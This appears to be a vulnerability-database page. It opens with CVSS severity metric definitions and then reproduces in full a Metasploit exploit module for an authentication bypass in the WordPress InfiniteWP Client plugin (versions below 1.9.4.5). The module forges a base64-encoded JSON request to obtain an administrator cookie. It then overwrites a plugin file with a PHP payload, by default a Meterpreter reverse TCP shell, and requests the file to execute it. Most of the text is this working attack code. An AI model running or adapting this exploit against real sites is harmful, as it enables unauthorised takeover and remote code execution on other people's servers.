The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: WordPress InfiniteWP Client Authentication Bypass
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress InfiniteWP Client Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass in the WordPress
InfiniteWP Client plugin to log in as an administrator and execute
arbitrary PHP code by overwriting the file specified by PLUGIN_FILE.
The module will attempt to retrieve the original PLUGIN_FILE contents
and restore them after payload execution. If VerifyContents is set,
which is the default setting, the module will check to see if the
restored contents match the original.
Note that a valid administrator username is required for this module.
WordPress >= 4.9 is currently not supported due to a breaking WordPress
API change. Tested against 4.8.3.
},
'Author' => [
'WebARX', # Discovery
'wvu' # Module
],
'References' => [
['WPVDB', '10011'],
['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'],
['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'],
['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html']
],
'DisclosureDate' => '2020-01-14',
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [['InfiniteWP Client < 1.9.4.5', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
))
register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin']),
OptString.new('PLUGIN_FILE', [true, 'Plugin file to edit', 'index.php'])
])
register_advanced_options([
OptBool.new('VerifyContents', [false, 'Verify file contents', true])
])
end
def username
datastore['USERNAME']
end
def plugin_file
datastore['PLUGIN_FILE']
end
def plugin_uri
normalize_uri(wordpress_url_plugins, plugin_file)
end
def check
unless wordpress_and_online?
return CheckCode::Unknown('Is the site online and running WordPress?')
end
unless (version = wordpress_version)
return CheckCode::Unknown('Could not detect WordPress version')
end
if Gem::Version.new(version) >= Gem::Version.new('4.9')
return CheckCode::Safe("WordPress #{version} is an unsupported target")
end
vprint_good("WordPress #{version} is a supported target")
check_version_from_custom_file(
normalize_uri(wordpress_url_plugins, '/iwp-client/readme.txt'),
/^= ([\d.]+)/,
'1.9.4.5'
)
end
# https://plugins.trac.wordpress.org/browser/iwp-client/tags/1.9.4.4/init.php
def auth_bypass
json = {
'iwp_action' => %w[add_site readd_site].sample,
'params' => {'username' => username}
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_backend,
'data' => "_IWP_JSON_PREFIX_#{Rex::Text.encode_base64(json)}"
)
unless res && res.code == 200 && !(cookie = res.get_cookies).empty?
fail_with(Failure::NoAccess, "Could not obtain cookie for #{username}")
end
print_good("Successfully obtained cookie for #{username}")
vprint_status("Cookie: #{cookie}")
cookie
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Bypassing auth for #{username} at #{full_uri}")
unless (@cookie = auth_bypass).include?('wordpress_logged_in')
fail_with(Failure::NoAccess, "Could not log in as #{username}")
end
print_good("Successfully logged in as #{username}")
write_and_exec_payload
end
def write_and_exec_payload
print_status("Retrieving original contents of #{plugin_uri}")
contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)
unless contents
fail_with(Failure::UnexpectedReply, "Could not retrieve #{plugin_uri}")
end
print_good("Successfully retrieved original contents of #{plugin_uri}")
vprint_status('Contents:')
print(contents)
print_status("Overwriting #{plugin_uri} with payload")
unless wordpress_edit_plugin(plugin_file, payload.encoded, @cookie)
fail_with(Failure::UnexpectedReply, "Could not overwrite #{plugin_uri}")
end
print_good("Successfully overwrote #{plugin_uri} with payload")
print_status("Requesting payload at #{plugin_uri}")
send_request_cgi({
'method' => 'GET',
'uri' => plugin_uri
}, 0)
restore_contents(contents)
end
def restore_contents(og_contents)
print_status("Restoring original contents of #{plugin_uri}")
unless wordpress_edit_plugin(plugin_file, og_contents, @cookie)
fail_with(Failure::UnexpectedReply, "Could not restore #{plugin_uri}")
end
return unless datastore['VerifyContents']
contents = wordpress_helper_get_plugin_file_contents(@cookie, plugin_file)
unless contents == og_contents
fail_with(Failure::UnexpectedReply,
"Current contents of #{plugin_uri} DO NOT match original!")
end
print_good("Current contents of #{plugin_uri} match original!")
end
end
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